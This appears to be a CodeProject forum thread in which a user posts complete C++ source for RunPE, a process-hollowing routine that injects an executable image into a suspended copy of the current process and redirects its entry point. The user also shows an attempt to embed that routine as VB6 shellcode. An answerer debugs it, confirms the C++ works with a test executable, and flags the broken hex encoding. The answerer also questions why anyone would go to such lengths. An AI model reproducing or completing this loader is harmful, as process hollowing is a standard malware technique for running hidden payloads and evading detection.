Click here to Skip to main content
15,887,027 members
Please Sign up or sign in to vote.
1.44/5 (2 votes)
See more:
Hello everyone, im facing problem with converting c++ Runpe to vb6. What ive tried? First i isolated the runpe function from the original post:

What I have tried:

Original Post Link

Isolated Code
C++
#include <Windows.h> // WinAPI Header

int RunPortableExecutable(void* Image)
{
    IMAGE_DOS_HEADER* DOSHeader; // For Nt DOS Header symbols
    IMAGE_NT_HEADERS* NtHeader; // For Nt PE Header objects & symbols
    IMAGE_SECTION_HEADER* SectionHeader;

    PROCESS_INFORMATION PI;
    STARTUPINFOA SI;

    CONTEXT* CTX;

    DWORD* ImageBase; // Base address of the image
    void* pImageBase; // Pointer to the image base

    int count;
    char CurrentFilePath[1024];

    DOSHeader = PIMAGE_DOS_HEADER(Image); // Initialize Variable
    NtHeader = PIMAGE_NT_HEADERS(DWORD(Image) + DOSHeader->e_lfanew); // Initialize

    GetModuleFileNameA(0, CurrentFilePath, 1024); // path to current executable

    if (NtHeader->Signature == IMAGE_NT_SIGNATURE) // Check if image is a PE File.
    {
        ZeroMemory(&PI, sizeof(PI)); // Null the memory
        ZeroMemory(&SI, sizeof(SI)); // Null the memory

        if (CreateProcessA(CurrentFilePath, NULL, NULL, NULL, FALSE,
            CREATE_SUSPENDED, NULL, NULL, &SI, &PI)) // Create a new instance of current
            // process in suspended state, for the new image.
        {
            // Allocate memory for the context.
            CTX = LPCONTEXT(VirtualAlloc(NULL, sizeof(CTX), MEM_COMMIT, PAGE_READWRITE));
            CTX->ContextFlags = CONTEXT_FULL; // Context is allocated

            if (GetThreadContext(PI.hThread, LPCONTEXT(CTX))) // if context is in thread
            {
                // Read instructions
                ReadProcessMemory(PI.hProcess, LPCVOID(CTX->Ebx + 8), LPVOID(&ImageBase), 4, 0);

                pImageBase = VirtualAllocEx(PI.hProcess, LPVOID(NtHeader->OptionalHeader.ImageBase),
                    NtHeader->OptionalHeader.SizeOfImage, 0x3000, PAGE_EXECUTE_READWRITE);

                // Write the image to the process
                WriteProcessMemory(PI.hProcess, pImageBase, Image, NtHeader->OptionalHeader.SizeOfHeaders, NULL);

                for (count = 0; count < NtHeader->FileHeader.NumberOfSections; count++)
                {
                    SectionHeader = PIMAGE_SECTION_HEADER(DWORD(Image) + DOSHeader->e_lfanew + 248 + (count * 40));
                    
                    WriteProcessMemory(PI.hProcess, LPVOID(DWORD(pImageBase) + SectionHeader->VirtualAddress),
                        LPVOID(DWORD(Image) + SectionHeader->PointerToRawData), SectionHeader->SizeOfRawData, 0);
                }
                WriteProcessMemory(PI.hProcess, LPVOID(CTX->Ebx + 8),
                    LPVOID(&NtHeader->OptionalHeader.ImageBase), 4, 0);
                
                // Move address of entry point to the eax register
                CTX->Eax = DWORD(pImageBase) + NtHeader->OptionalHeader.AddressOfEntryPoint;
                SetThreadContext(PI.hThread, LPCONTEXT(CTX)); // Set the context
                ResumeThread(PI.hThread); // Start the process/call main()

                return 0; // Operation was successful.
            }
        }
    }
    return -1;
}
Then compiled as a object file
Terminal
clang -c -m32  -O2 -mno-sse -mno-avx a.cpp -o a.o


Extracted the machine code
Terminal
objdump -M intel -d a.o


Convert to hex string in VB6
Terminal
objdump -M intel --disassemble=__Z21RunPortableExecutablePv a.o | grep -E '^\s*[0-9a-f]+:' | awk -F '[\t:]' '{gsub(/ /, "", $1); gsub(/ /, "", $3); hex = "\""$3"\""; printf "s_Asm = s_Asm & %-32s '"'"'%s: %-6s%s\n", hex, $1, $4, $5}'


Then i formated like that in Visual Basic 6
BASIC
s_Asm =             "55535756818B8B8D68506AFFBB81000FC"
s_Asm = s_Asm & "700C700C700C78D31B989F38950526A6A"
s_Asm = s_Asm & "6A6A6A6A6A8D50FF850F6A686A6AFF89C"
s_Asm = s_Asm & "750FFFF850F01898B838D6A6A5150FFFF"
s_Asm = s_Asm & "8D896A68FFFFFFFF6AFF568950FFFF896"
s_Asm = s_Asm & "6748D893166008B8B038B016AFF5251FF"
s_Asm = s_Asm & "FF460F8339728B8B836A6AFF50FFFF8B0"
s_Asm = s_Asm & "38956FFFFFFFF3189815E5F5B5DC3"



And used like that
BASIC
Private Declare Function CallWindowProcW Lib "user32" (ByVal lpPrevWndFunc As Long, ByVal hwnd As Long, ByVal Msg As Long, ByVal wParam As Long, ByVal lParam As Long) As Long

Public Sub memory(ByVal ruta As String, binario() As Byte)

Dim s_Asm As String
s_Asm =             "55535756818B8B8D68506AFFBB81000FC"
s_Asm = s_Asm & "700C700C700C78D31B989F38950526A6A"
s_Asm = s_Asm & "6A6A6A6A6A8D50FF850F6A686A6AFF89C"
s_Asm = s_Asm & "750FFFF850F01898B838D6A6A5150FFFF"
s_Asm = s_Asm & "8D896A68FFFFFFFF6AFF568950FFFF896"
s_Asm = s_Asm & "6748D893166008B8B038B016AFF5251FF"
s_Asm = s_Asm & "FF460F8339728B8B836A6AFF50FFFF8B0"
s_Asm = s_Asm & "38956FFFFFFFF3189815E5F5B5DC3"
Dim byteArray() As Byte
ReDim byteArray((Len(s_Asm) \ 2) - 1) As Byte
Dim i As Long, k As Long

For i = 1 To Len(s_Asm) Step 2
    byteArray(k) = CByte("&H" & Mid$(s_Asm, i, 2)): k = k + 1
Next i

CallWindowProcW VarPtr(byteArray(0)), StrPtr(ruta), VarPtr(binario(0)), 0, 0
End Sub


No matter what if tried always getting WerFAult

The rest of the code - Sub Main works normal, with the other runpe.

Would someone help me, if not here, maybe in person.

By the way i added the executable in Ida free, and there's error, but when i tried to find the address where's the problem it's not possible to identify.
Posted
Updated 11-Feb-24 7:37am
v2
Comments
Richard Deeming 12-Feb-24 4:22am    
Why? VB6 has officially been "dead" for over two decades now. Unless you're maintaining an ancient existing project, you should avoid it like the plague!

Edit: As you were told five years ago[^]!

1 solution

To test the program I have compiled an assembler test program as follows:
nasm -fwin32 hellow.asm && gcc -m32 hellow.obj -o hellow.exe && hellow

Although the program is very small, the executable file is about 294kByte in size. The hexdump starts as follows:

C
// enter valid bytes of a program here.
unsigned char rawData[0x049ac3] = {
     0x4d,0x5a,0x90,0x00,0x03,0x00,0x00,0x00,0x04,0x00,0x00,0x00,0xff,0xff,0x00,0x00,
     0xb8,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x40,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
     0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
     0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x80,0x00,0x00,0x00,
     0x0e,0x1f,0xba,0x0e,0x00,0xb4,0x09,0xcd,0x21,0xb8,0x01,0x4c,0xcd,0x21,0x54,0x68,
     0x69,0x73,0x20,0x70,0x72,0x6f,0x67,0x72,0x61,0x6d,0x20,0x63,0x61,0x6e,0x6e,0x6f,
     0x74,0x20,0x62,0x65,0x20,0x72,0x75,0x6e,0x20,0x69,0x6e,0x20,0x44,0x4f,0x53,0x20,
     0x6d,0x6f,0x64,0x65,0x2e,0x0d,0x0d,0x0a,0x24,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
     0x50,0x45,0x00,0x00, // PE00 = 0x00004550
     0x4c,0x01,0x10,0x00,0x5d,0xf8,0xc8,0x65,0x00,0x2e,0x04,0x00,0xff,0x04,0x00,0x00,
     0xe0,0x00,0x27,0x01,  // ...
};

int main()
{
    RunPortableExecutable(rawData);
}

The call with Visual Studio works without any problems and the reloaded program does its work without errors. The effort that is made here to overwrite a thread with foreign code is considerable and this raises the question why the effort is made. I cannot judge whether the BASIC source code generates a suitable binary code. This is where I would see the first possible source of error. You could test the functionality by writing the binary code from BASIC to an EXE file and checking whether it works.

I am surprised by the magic number 0x5553 used in the example code. In an EXE it should actually be 0x4d5a, as can also be seen in my sample data.

It is also noticeable that the character strings, which should contain readable hexadecimals, contain an odd number of characters.
"55,53,57,56,81,8B,8B,8D,68,50,6A,FF,BB,81,00,0F,C"
"70,0C,70,0C,70,0C,78,D3,1B,98,9F,38,95,05,26,A6,A"

Possibly the problem is already here ...
 
Share this answer
 
v2
Comments
Member 14359403 11-Feb-24 14:17pm    
thank you for your answer, i know it works without problems when it's compiled in visual studio, i tested it too. Do you think the problem comes, when I convert the machine code to hexadecimal string for vb6? If so, how should the conversion happen? By the way, I already have compiled exe in VB6, and when I execute it I always get WerFault.
merano99 11-Feb-24 17:46pm    
As already mentioned, I would expect a Windows exe to start with the bytes 4D 5A. I would not store the data as a string, but as a binary array to save space. I can't comment on the implementation under VB. The specified data does not look like a valid Win32 exe file. As a test, it should be possible to write the data to a binary file to see if the original exe file comes out and if it can be started without errors.
By the way: The DOS header could also be omitted, as it is skipped anyway. The function would only have to be changed slightly.
I would suggest the conversion byte by byte, e.g. with this program https://github.com/LucaBarile/HexFileConverter.

This content, along with any associated source code and files, is licensed under The Code Project Open License (CPOL)



CodeProject, 20 Bay Street, 11th Floor Toronto, Ontario, Canada M5J 2N8 +1 (416) 849-8900